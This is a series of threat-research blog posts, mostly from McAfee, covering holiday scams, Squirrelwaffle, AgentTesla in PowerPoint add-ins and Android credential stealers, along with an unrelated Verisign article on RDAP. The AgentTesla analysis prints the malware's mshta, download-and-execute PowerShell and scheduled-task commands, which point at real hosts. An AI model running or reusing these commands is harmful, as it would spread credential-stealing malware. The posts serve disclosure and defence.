‘Tis the season for scams. Well, honestly, it’s always scam season somewhere. In 2020, the Internet Crime and Complaint Center (IC3) reported losses in excess of $4.1 billion dollars in scams which was a 69% increase over 2019. There is no better time for a scammer celebration than Black Friday, Cyber Monday, and the lead-up to Christmas and New Year. It’s a predictable time of the year, which gives scammers ample time to plan and organize. The recipe isn’t complicated, at the base we have some holiday excitement, sprinkle in fake shopping deals and add some discounts, and ho ho ho we have social engineering scams.
In this blog, we want to increase awareness related to scams as we expect elevated activity during this holiday season. The techniques used to scam folks are very similar to those used to spread malware too, so always be alert and use caution when browsing and shopping online. We will provide some examples to help educate consumers on how to identify scams. The victims of such scams can be others around you like your kids or parents, so read up and spread the word with family and friends. Awareness, education, and being alert are key to keeping you at bay from fraudsters.
Although there is a myriad of scams out there, we expect the most common scams and targets this season to be:
SMSishing, email-based Phishing, and push notifications will be the most common vectors initiating scams during this holiday season. Here are some common tactics in use today:
This is a common theme around this time of the year. Deals, discounts, and gift cards can be costly to your bank account. Be wary of URLs being presented to you over email or SMS. Phishing emails, bulk mailing, texting, and typo-squatting are some of the ways that scammers target their prey.
Scammers will create a sense of urgency by telling you that you have limited time to claim the deal or that there is low inventory for popular items in their store. It’s not difficult for scammers to identify sought-after electronics items or holiday gifts for sale and offer them for sale on their fake stores. Such scams are believable given the supply chain challenges and delivery shortages over the last few months.
Getting people worried about a life-changing event or disrupting travel plans can be concerning. So, if you get an unexpected call from someone claiming to be from the FBI, police, IRS, or even a travel company, stop and think. They may be using scare tactics to dupe you. Never divulge personal information and if in doubt, ask them a lot of directed questions and fact check them. As an example, check to see if they know your home address, account number, itinerary number, or bank balance depending on who they claim to be. Scammers typically don’t have specific details and when put on the spot, they’ll hang up.
Like scare tactics, scammers may prey on vulnerable people. Although there can be many variations of such scams, the more common ones are Romance Scams where you end up connecting to someone with a fake profile, and Fake Charity Scams where you receive a phone call or an email requesting a donation. Do not entertain such requests over the phone especially if you receive a phone call soliciting a donation. During the conversation, they will attempt to make you feel guilty or selfish for not contributing enough. Remember, there is no rush to donate. Go to a reputable website or a known organization and donate if you must after due diligence.
Successful scams are situationally accurate. You may be the smartest guy in the room, but when you eagerly waiting for that delivery and you see an email update claiming a delivery delay from UPS, you might fall for a scam. This is particularly true in the holiday season and therefore such themes are more prevalent. Here are some tips on how to identify scams early on.
If you believe that you have been a victim of a scam, here are a few tips that might help.
It’s become more common recently to receive text messages for scammers. The following few text messages demonstrate SMSishing attempts.
2. The following are fake texts that attempt to entice you click the link. The bait is the Gift card. One can tell that they are a similar theme since they originate from fake phone numbers, which are very similar but not exact. The domain names of the two URLs are totally random (probably compromised URLs). You can tell that back in October, the full URL based SMShing attempts were not very effective which is why in Nov, they probably used keywords like “COSTCO” and “ebay” within the URL and inline to their SMS context, to make it more likely for people to click.
Also note that some of the URLs only have an “http” versus a “https”, something we had noted earlier in the blog.
One cannot trust an email by the text. You should review the link to ensure it takes you to where it claims to. The following is an example email where the link is not what it claims to be.
Shopify is a Canadian multinational e-commerce company. It offers online retailers a suite of services, including payments, marketing, shipping, and customer engagement tools.
So, where there is money to be made, individuals are looking to take advantage. Shopify scam targets both consumers and business owners. Scammer abuse the power of e-commerce to earn money by implementing fake stores. They observe the product or category, create an attractive logo or image and promote extensively on social media.
Fake Bike Online Purchase store – Mountain-ranger-com
Site: hxxps://mountain-ranger-com.myshopify.com/collections/all
SSL info:
This site is hosted on Shopify, so it has a valid SSL cert which is the first thing we check on where we transact.
Whois Record ( last updated on 2021-11-19 )
Domain Name: myshopify.com
Registry Domain ID: 362759365_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2021-03-02T23:39:12+0000
Creation Date: 2006-03-03T03:01:37+0000
Registrar Registration Expiration Date: 2024-03-02T08:00:00+0000
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.2083895770
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)
Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)
Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)
Registrant Organization: Shopify Inc.
Registrant State/Province: ON
Registrant Country: CA
Registrant Email: Select Request Email Format
The registrar info for the site is valid too, as it is hosted on Shopify. If you look closer, however, one will notice red flags:
Examples of similar sites showing incredible discounts.
2. The “About Us” doesn’t make much sense when you see the products that are being offered:
A quick google on the text shows that multiple sites are using the same exact text (most of them probably fake)
3. There are no customer reviews about the products listed.
4. It has a public email server (gmail) in its return policy
5. Looking up the list address in google maps wouldn’t show up anything and looking up the number in apps like true caller shows it’s fake.
The goal of this scam is to steal credentials however it could as well be used as a malware delivery mechanism. The screenshot is that of a fake business proposal hosted on OneDrive Cloud for phishing purposes.
The actor aims to mislead the user into clicking on the above reference link. When the user clicks on the link, it redirects to a different website that displays the below fake OneDrive screenshot.
hxxps://aidaccounts[.]com/11/verified/22/
If a user enters their OneDrive details, the actors receive them at their backend. This means that this victim has lost their login credentials to the phishing actors. Look at the address bar and trust your instincts. This is in no way related to Microsoft OneDrive. There are other such examples where they do some additional plumbing of the URL to include keywords that make it more believable – as they did in the SMSishing example above.
The goal here is to get the user to accept push notifications. Doing so makes the customer susceptible to other possible scams. In this example, the scammers attempt to get users to fill out surveys. Legit companies online pay users for surveys. A referral code is used to pay the survey taker. The scammer in this case attempts to get others to fill the survey on their behalf and therefore makes money when such surveys use the scammer’s referral code. Push notifications are used to get the victims to fill out surveys. Previous blogs from McAfee demonstrate similar scams and how to prevent such notifications
The initial vector comes to the victim via a spam email with a PDF Spam attachment. In this scenario, Gmail was used as the sender.
Upon opening the PDF, a fake online PUBG (Players Unknown Battleground) credits generator gets opened. In PUBG, Gamers need credits to participate in various online games and so this scam baits them offering free credits.
Once the user clicks on the bait URL, it opens a google feed proxy URL.
Malicious websites are destined to be block-listed and therefore have short shelf lives. Google’s feed proxy redirects them in adapting to new URLs and therefore utilizes a fast-flux mechanism as a technique to keep the campaign alive. Usage of feed proxy are not new and we have highlighted its use in the past by the hancitor botnet.
Clicking on the top highlighted URL, it navigates to a webpage that poses as a PUBG Arcane online credit generator.
To make the online generator look real, the website has added fake recent activities highlighting coins users have earned via this generator. Even the add comments section is fake.
Clicking on continue will bring up a fake progress bar. Now the site shows the coins and cash are ready, however, an automated human verification has failed, and a survey has to be taken up for getting the reward.
A clickable link for this verification is also loaded. Once clicked, a small dialog with 3 options are presented.
Clicking on “want to become a millionaire” loaded a survey page and prompts you to take it up. It will also prompt you to allow push notifications from this website.
Once you click on “Allow”, notifications to take up a survey or fake personalized offer notifications start popping up. Be it on your desktop or on your mobile, these notifications pop-ups to take up more surveys.
Clicking on the other links too from “Human Verification”, you will realize that you have finally ended up not gaining anything for your PUBG Arcane gaming, but ended up taking surveys.
Here is another example of a PDF theme we have seen as a lure on the Lenovo tablet offer.
Clicking on this link takes the user to a page that claims it has been protected by a technique to block bots. Persuading you to click on the allow button for enabling popups.
Once you click on the enable button, it then redirects the browser to take up a random survey. In our case, the survey was on household income.
Another such theme that we observed was around the latest Netflix series – Squid games. Although Series 1 has currently been released, the fake email prompts early access to Season 2.
Scammers spend a lot of time and effort tweaking and tuning their schemes to make it fit just right for you. Avoiding a scam is not full proof but being vigilant is key. Don’t get overly keen when you get offers thrown at you this season. Take a step back, relax and think it through, not only should you do your own research, but you should also trust your instincts. Spending a little extra on products or making donations to a reputable and known organization might be worth the peace of mind during the holidays. Help educate your family and contribute by reporting scams.
Happy Holidays!
The post ‘Tis the Season for Scams appeared first on McAfee Blog.
Authored By Kiran Raj
Due to their widespread use, Office Documents are commonly used by Malicious actors as a way to distribute their malware. McAfee Labs have observed a new threat “Squirrelwaffle” which is one such emerging malware that was observed using office documents in mid-September that infects systems with CobaltStrike.
In this Blog, we will have a quick look at the SquirrelWaffle malicious doc and understand the Initial infection vector.
Geolocation based stats of Squirrelwaffle malicious doc observed by McAfee from September 2021
Here is how the face of the document looks when we open the document (figure 3). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.
The VBA Userform Label components present in the Word document (Figure-4) is used to store all the content required for the VBS file. In Figure-3, we can see the userform’s Labelbox “t2” has VBS code in its caption.
Sub routine “eFile()” retrieves the LabelBox captions and writes it to a C:\Programdata\Pin.vbs and executes it using cscript.exe
Cmd line: cmd /c cscript.exe C:\Programdata\Pin.vbs
The dropped VBS Script is obfuscated (Figure-5) and contains 5 URLs that host payloads. The script runs in a loop to download payloads using powershell and writes to C:\Programdata location in the format /www-[1-5].dll/. Once the payloads are downloaded, it is executed using rundll32.exe with export function name as parameter “ldr”
De-obfuscated VBS script
VBS script after de-obfuscating (Figure-6)
Different techniques & tactics are used by the malware and we mapped these with the MITRE ATT&CK platform.
Malicious doc VBA drops and invokes VBS script.
CMD: cscript.exe C:\ProgramData\pin.vbs
Rundll32.exe is used to execute the dropped payload
CMD: rundll32.exe C:\ProgramData\www1.dll,ldr
Type | Value | Scanner | Detection Name |
Main Word Document | 195eba46828b9dfde47ffecdf61d9672db1a8bf13cd9ff03b71074db458b6cdf | ENS,
WSS
|
W97M/Downloader.dsl
|
Downloaded DLL
|
85d0b72fe822fd6c22827b4da1917d2c1f2d9faa838e003e78e533384ea80939 | ENS,
WSS |
RDN/Squirrelwaffle |
URLs to download DLL | · priyacareers.com
· bussiness-z.ml · cablingpoint.com · bonus.corporatebusinessmachines.co.in · perfectdemos.com |
WebAdvisor | Blocked |
The post The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc. appeared first on McAfee Blog.
Authored by: Wenfeng Yu
McAfee Mobile Research team recently discovered a new piece of malware that specifically steals Google, Facebook, Twitter, Telegram and PUBG game accounts. This malware hides in a game assistant tool called “DesiEsp” which is an assistant tool for PUBG game available on GitHub. Basically, cyber criminals added their own malicious code based on this DesiEsp open-source tool and published it on Telegram. PUBG game users are the main targets of this Android malware in all regions around the world but most infections are reported from the United States, India, and Saudi Arabia.
ESP Hacks, (short for Extra-Sensory Perception) are a type of hack that displays player information such as HP (Health Points), Name, Rank, Gun etc. It is like a permanent tuned-up KDR/HP Vision. ESP Hacks are not a single hack, but a whole category of hacks that function similarly and are often used together to make them more effective.
After investigation, it was found that this malware was spread in the channels related to PUBG game on the Telegram platform. Fortunately, this malware has not been found on Google Play.
This malware will ask the user to allow superuser permission after running:
If the user denies superuser request the malware will say that the application may not work:
When it gains root permission, it will start two malicious actions. First, it will steal accounts by accessing the system account database and application database.
Second, it will install an additional payload with package name “com.android.google.gsf.policy_sidecar_aps” using the “pm install” command. The payload package will be in the assets folder, and it will disguise the file name as “*.crt” or “*.mph”.
The dropped payload will not display icons and it does not operate directly on the screen of the user’s device. In the apps list of the system settings, it usually disguises the package name as something like “com.google.android.gsf” to make users think it is a system service of Google. It runs in the background in the way of Accessibility Service. Accessibility Service is an auxiliary function provided by the Android system to help people with physical disabilities use mobile apps. It will connect to other apps like a plug-in and can it access the Activity, View, and other resources of the connected app.
The malware will first try to get root permissions and IMEI (International Mobile Equipment Identity) code that later access the system account database. Of course, even if it does not have root access, it still has other ways to steal account information. Finally, it also will try to activate the device-admin to difficult its removal.
The first method to steal account credentials that this malware uses is to monitor the login window and account input box text of the stolen app through the AccessibilityService interface to steal account information. The target apps include Facebook (com.facebook.kakana), Twitter (com.twitter.android), Google (com.google.android.gms) and PUBG MOBILE game (com.tencent.ig)
The second method is to steal account information (including account number, password, key, and token) by accessing the account database of the system, the user config file, and the database of the monitored app. This part of the malicious code is the same as the parent sample above:
Finally, the malware will report the stolen account information to the hacker’s server via HTTP.
PUBG games are popular all over the world, and users who use PUBG game assistant tools exist in all regions of the world. According to McAfee telemetry data, this malware and its variants affect a wide range of countries including the United States, India, and Saudi Arabia:
The online game market is revitalizing as represented by e-sports. We can play games anywhere in various environments such as mobiles, tablets, and PCs (personal computers). Some users will be looking for cheat tools and hacking techniques to play the game in a slightly advantageous way. Cheat tools are inevitably hosted on suspicious websites by their nature, and users looking for cheat tools must step into the suspicious websites. Attackers are also aware of the desires of such users and use these cheat tools to attack them.
This malware is still constantly producing variants that use several ways to counter the detection of anti-virus software including packing, code obfuscation, and strings encryption, allowing itself to infect more game users.
McAfee Mobile Security detects this threat as Android/Stealer and protects you from this malware attack. Use security software on your device. Game users should think twice before downloading and installing cheat tools, especially when they request Superuser or accessibility service permissions.
36d9e580c02a196e017410a6763f342eea745463cefd6f4f82317aeff2b7e1a5
fac1048fc80e88ff576ee829c2b05ff3420d6435280e0d6839f4e957c3fa3679
d054364014188016cf1fa8d4680f5c531e229c11acac04613769aa4384e2174b
3378e2dbbf3346e547dce4c043ee53dc956a3c07e895452f7e757445968e12ef
7e0ee9fdcad23051f048c0d0b57b661d58b59313f62c568aa472e70f68801417
6b14f00f258487851580e18704b5036e9d773358e75d01932ea9f63eb3d93973
706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548
ff186c0272202954def9989048e1956f6ade88eb76d0dc32a103f00ebfd8538e
706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548
3726dc9b457233f195f6ec677d8bc83531e8bc4a7976c5f7bb9b2cfdf597e86c
e815b1da7052669a7a82f50fabdeaece2b73dd7043e78d9850c0c7e95cc0013d
8ef54eb7e1e81b7c5d1844f9e4c1ba8baf697c9f17f50bfa5bcc608382d43778
4e08e407c69ee472e9733bf908c438dbdaebc22895b70d33d55c4062fc018e26
6e7c48909b49c872a990b9a3a1d5235d81da7894bd21bc18caf791c3cb571b1c
9099908a1a45640555e70d4088ea95e81d72184bdaf6508266d0a83914cc2f06
ca29a2236370ed9979dc325ea4567a8b97b0ff98f7f56ea2e82a346182dfa3b8
d2985d3e613984b9b1cba038c6852810524d11dddab646a52bf7a0f6444a9845
ef69d1b0a4065a7d2cc050020b349f4ca03d3d365a47be70646fd3b6f9452bf6
06984d4249e3e6b82bfbd7da260251d99e9b5e6d293ecdc32fe47dd1cd840654
hosting-b5476[.]gq
The post Social Network Account Stealers Hidden in Android Gaming Hacking Tool appeared first on McAfee Blog.
Authored by Anuradha M
McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.
AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns.
During Q2, 2021, we have seen an increase in PowerPoint malware.
In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”.
PPAM file:
This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.
Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros.
Technical Analysis:
Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.
From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file.
The PPAM file contains the following files and directories which can be seen upon extraction.
Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity.
As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded.
The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API.
Below are the parameters passed to CreateProcessA() API:
kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D,
Below is the command line parameter of mshta:
mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis.
Later mshta.exe spawns powershell.exe as a child process.
Below is the command line parameters of PowerShell:
powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB);
PowerShell downloads and executed script files from the above-mentioned URLs.
The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”:
There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself.
Schedule Tasks:
To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.
The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html” and it’s called every 80 minutes.
Below is the command line parameters of schtasks:
schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%1230948@0v2x.blogspot.com/p/27.html\“”
Infection Chain:
Process Tree:
Mitigation:
McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have DAT coverage for this variant of malware.
This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.
The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN!
Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack.
Expert Rule authored based on the below infection chain:
POWERPNT.EXE –> mshta.exe
Expert Rule:
Rule {
Process {
Include OBJECT_NAME { -v “powerpnt.exe” }
}
Target {
Match PROCESS {
Include OBJECT_NAME { -v “mshta.exe” }
Include PROCESS_CMD_LINE { -v “**http**” }
Include -access “CREATE”
}
}
}
IOCs
URLs:
hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html
hxxps://p8hj[.]blogspot[.]com/p/27.html
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt
EML files:
72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3
0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0
fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253
38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb
PPAM files:
fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182
6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3
9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b
ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd
c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d
Extracted AgentTesla files:
71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99
90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371
The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.
This article originally appeared in The Domain Name Industry Brief (Volume 18, Issue 3)
Earlier this year, the Internet Engineering Task Force’s (IETF’s) Internet Engineering Steering Group (IESG) announced that several Proposed Standards related to the Registration Data Access Protocol (RDAP), including three that I co-authored, were being promoted to the prestigious designation of Internet Standard. Initially accepted as proposed standards six years ago, RFC 7480, RFC 7481, RFC 9082 and RFC 9083 now comprise the new Standard 95. RDAP allows users to access domain registration data and could one day replace its predecessor the WHOIS protocol. RDAP is designed to address some widely recognized deficiencies in the WHOIS protocol and can help improve the registration data chain of custody.
In the discussion that follows, I’ll look back at the registry data model, given the evolution from WHOIS to the RDAP protocol, and examine how the RDAP protocol can help improve upon the more traditional, WHOIS-based registry models.
In 1998, Network Solutions was responsible for providing both consumer-facing registrar and back-end registry functions for the legacy .com, .net and .org generic top-level domains (gTLDs). Network Solutions collected information from domain name registrants, used that information to process domain name registration requests, and published both collected data and data derived from processing registration requests (such as expiration dates and status values) in a public-facing directory service known as WHOIS.
From Network Solution’s perspective as the registry, the chain of custody for domain name registration data involved only two parties: the registrant (or their agent) and Network Solutions. With the introduction of a Shared Registration System (SRS) in 1999, multiple registrars began to compete for domain name registration business by using the registry services operated by Network Solutions. The introduction of additional registrars and the separation of registry and registrar functions added parties to the chain of custody of domain name registration data. Information flowed from the registrant, to the registrar, and then to the registry, typically crossing multiple networks and jurisdictions, as depicted in Figure 1.
Over time, new gTLDs and new registries came into existence, new WHOIS services (with different output formats) were launched, and countries adopted new laws and regulations focused on protecting the personal information associated with domain name registration data. As time progressed, it became clear that WHOIS lacked several needed features, such as:
The IETF made multiple attempts to add features to WHOIS to address some of these issues, but none of them were widely adopted. A possible replacement protocol known as the Internet Registry Information Service (IRIS) was standardized in 2005, but it was not widely adopted. Something else was needed, and the IETF went back to work to produce what became known as RDAP.
RDAP was specified in a series of five IETF Proposed Standard RFC documents, including the following, all of which were published in March 2015:
Only when RDAP was standardized did we start to see broad deployment of a possible WHOIS successor by domain name registries, domain name registrars and address registries.
The broad deployment of RDAP led to RFCs 7480 and 7481 becoming Internet Standard RFCs (part of Internet Standard 95) without modification in March 2021. As operators of registration data directory services implemented and deployed RDAP, they found places in the other specifications where minor corrections and clarifications were needed without changing the protocol itself. RFC 7482 was updated to become Internet Standard RFC 9082, which was published in June 2021. RFC 7483 was updated to become Internet Standard RFC 9083, which was also published in June 2021. All were added to Standard 95. As of the writing of this article, RFC 7484 is in the process of being reviewed and updated for elevation to Internet Standard status.
Operators of registration data directory services who implemented RDAP can take advantage of key features not available in the WHOIS protocol. I’ve highlighted some of these important features in the table below.
RDAP Feature | Benefit |
Standard, well-understood, and widely available HTTP transport | Relatively easy to implement, deploy and operate using common web service tools, infrastructure and applications. |
Securable via HTTPS | Helps provide confidentiality for RDAP queries and responses, reducing the amount of information that is disclosed to monitors. |
Structured output in JavaScript Object Notation (JSON) | JSON is well-understood and tool friendly, which makes it easier for clients to parse and format responses from all servers without the need for software that’s customized for different service providers. |
Easily extensible | Designed to support the addition of new features without breaking existing implementations. This makes it easier to address future function needs with less risk of implementation incompatibility. |
Internationalized output, with full support for Unicode character sets | Allows implementations to provide human-readable inputs and outputs that are represented in a language appropriate to the local operating environment. |
Referral capability, leveraging HTTP constructs | Provides information to software clients that allow the client to retrieve additional information from other RDAP servers. This can be used to hide complexity from human users. |
Support of standardized authentication | RDAP can take full advantage of all of the client identification, authentication and authorization methods that are available to web services. This means that RDAP can be used to provide the basic framework for differentiated access to registration data based on attributes associated with the user and the user’s query. |
Verisign’s RDAP service, which was originally launched as an experimental implementation several years before gaining widespread adoption, allows users to look up records in the registry database for all registered .com, .net, .name, .cc and .tv domain names. It also supports Internationalized Domain Names (IDNs).
We at Verisign were pleased not only to see the IETF recognize the importance of RDAP by elevating it to an Internet Standard, but also that the protocol became a requirement for ICANN-accredited registrars and registries as of August 2019. Widespread implementation of the RDAP protocol makes registration data more secure, stable and resilient, and we are hopeful that the community will evolve the prescribed implementation of RDAP such that the full power of this rich protocol will be deployed.
You can learn more in the RDAP Help section of the Verisign website, and access helpful documents such as the RDAP technical implementation guide and the RDAP response profile.
The post Industry Insights: RDAP Becomes Internet Standard appeared first on Verisign Blog.
Authored by Fernando Ruiz
McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico.
McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants.
The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet.
During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible.
Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats:
Interested in the details? Here’s a deep dive on this malware
Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app:
– Fake Tool to report fraudulent movements that creates a sense of urgency:
“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically.
At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.”
– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security:
“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials.
If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does.
Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor.
In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.
In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data.
Table Headers: Date, From, Body Message, User, Password, Id:
This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development.
SHA256:
The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.
Authored by ChanUng Pak
McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices.
During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app.
We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available.
The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021.
Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions
After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device:
Figure 2. Elibomi stealing SMS messages
Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps:
